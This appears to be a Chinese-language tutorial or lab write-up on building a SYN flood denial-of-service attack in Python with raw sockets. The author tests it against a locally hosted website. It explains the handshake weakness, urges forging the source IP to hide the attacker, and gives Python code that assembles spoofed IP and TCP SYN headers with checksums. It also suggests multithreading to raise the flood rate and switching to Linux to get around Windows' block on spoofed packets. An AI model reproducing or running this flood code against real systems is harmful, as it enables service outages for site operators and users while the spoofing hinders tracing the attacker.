基于SOCK_RAW的泛洪攻击
一、基础环境
网站所在系统环境: Windows 10 专业版
程序运行环境: Linux ubuntu 5.9.1
监测软件: Wireshark 3.4.3
语言: Python
二、攻击原理
在基本的传输控制协议TCP中,发送方与接收方在正式收发数据前会先进行“三次握手”,即发送方首先发送SYN数据包,请求确认;接收方收到后发送ACK+SYN数据包;发送方收到确认后回复ACK数据包,到此正式建立链接,可以开始传输数据了。
DoS攻击中的泛洪攻击原理就在于利用这三次握手的过程,向服务器端发送大量的半连接请求,服务器接收到连接请求(SYN)后,会发送确认包并进入等待确认状态,当该类无效请求达到一定的数量后,服务器就无法响应正常的请求,造成网络拥塞。
三、过程
1. 分析SYN数据包:
一个正常访问百度时,抓取的SYN数据包的具体内容:
包含四部分内容,Ethernet Ⅱ 头,IPv4 头,TCP 头,自定义数据;其中Ethernet Ⅱ是工作在数据链路层,提供介质访问并管理链路,在Socket编程中,我们可以不关心其具体的内容。
IP协议工作在网络层,功能是寻址和路由选择,所以在IP头部中要指明源
IP和目的IP地址,另外还有其他相关属性信息位,如下图所示:
TCP协议工作在传输层,通过该协议建立端到端连接,所以其中包含目的和源端口号,以及三次握手过程会涉及到的序号,确认号,ACK、SYN等标志位信息。
2. 明确构造内容
1)伪造源IP地址
在TCP握手协议中,服务器端在接收到请求后会返回确认信息,在DoS攻击中,如果攻击者发送到数据包中是真实地址,那么海量的数据同样会从服务器端返回到自身,造成自身端口阻塞。所以,泛洪攻击中很重要的一点是伪造源地址,这样也能够达到隐藏自身的目的。
2)构造TCP头
通过合理设置SYN,ACK等标志位以及相关属性,就能让服务器将我们构造的数据包识别为正常的访问申请,进入握手协议中的等待确认阶段,达到浪费服务器资源的目的。
3. 使用工具
Socket技术给程序员提供了操作这些协议的接口,在此就利用该种技术,实现我们的目的在第2步中,我们知道了我们要编辑的协议内容,所以根据这样的需求选择构造原始套接字(SOCK_RAW),通过这类套接字开发人员可发送自己组装的数据包到网络上,这就我们构造自己的SYN数据包提供了可能。
4. 具体实现
具体的构造内容就可以根据抓取到的正常的的数据包进行标记,在这个过程中就可以把我们 伪造的源地址嵌入其中,其中要注意的原始套接字中构造TCP协议头时,还需要自己计算校验 和,具体实现参考源码。
#IP header
Version=4 #4bit
IHL=5 #4bit
Version_IHL = (Version << 4) +IHL
tos=0 #Type of service 8bit
tl=4 #total length (16bit)
id=0 #(16bit)
frag_off=0# Fragment Offset 13bit
ttl=64 #time to live
protocol=socket.IPPROTO_TCP#(8bit)
check=0 #checksum (16bit)
s_addr=inet_aton(self.ip)
d_addr=inet_aton(self.tgt_ip)
#pack方法自己查哟
ip_header = pack('!BBHHHBBH4s4s',Version_IHL,tos,tl,id,frag_off,ttl,protocol,check,s_addr,d_addr)
#TCP header
source = 59796 # 16
dest = 8016 #16
seq = 0 #32
ack_seq = 0# 32 acknowledgement number
doff = 5 #4 data offset
#FLAG bit
urg = 0 #URG urgent pointer
ack = 0 # ACK
psh = 0 # PSH
rst = 0 #
syn = 1 #
fin = 0 #
window = htons(5840) #16 window size
check = 0 # 16 TCP check sum
urg_prt = 0 #16 urgent pointer
offset_res = (doff << 4)+0
tcp_flags = fin + (syn << 1) + (rst << 2) + (psh << 3) + (ack << 4) + (urg << 5) #6
tcp_header=pack('!HHLLBBHHH',source,dest,seq,ack_seq,offset_res,tcp_flags,window,check,urg_prt)
src_addr = inet_aton(self.ip)
dst_addr = inet_aton(self.tgt_ip)
place = 0
protocol = socket.IPPROTO_TCP
tcp_length = len(tcp_header)
psd_header = pack('!4s4sBBH',src_addr,dst_addr,place,protocol,tcp_length);
psd_header = psd_header + tcp_header;
#先把ck_sum的位置留出来,然后计算得到结果后,再重新组装
tcp_checksum = self.checksum1(psd_header)
tcp_header = pack('!HHLLBBH',source,dest,seq,ack_seq,offset_res,tcp_flags,window)+ pack('H' , tcp_checksum) + pack('!H' ,urg_prt)
另外,为了能够发送足够的数据包,可以利用多线程技术,这样可大大提升发送速度。
linux的多线程就很easy了
5. 测试攻击效果
1)部署网站
将过去编写的一个极其简陋的网页部署在了本地(win10),限制信息如下:
2)攻击测试
在这个过程中,发现了一个问题,Window下无法发送原始套接字,总是会提示无效参数,通过阅读微软官方文档,发现Windows对要发送的包作了限制,如果源IP地址不正确,恶意代码不能通过伪造的源IP地址进行拒绝服务攻击,也不能发送IP欺骗数据包。
所以,解决方式就是,转去linux运行,稍微修改thread等格式,就可以成功运 行了。
3)抓包观察
可以看到短时间内该网站接受了大量的访问请求,且成功了伪造了IP地址,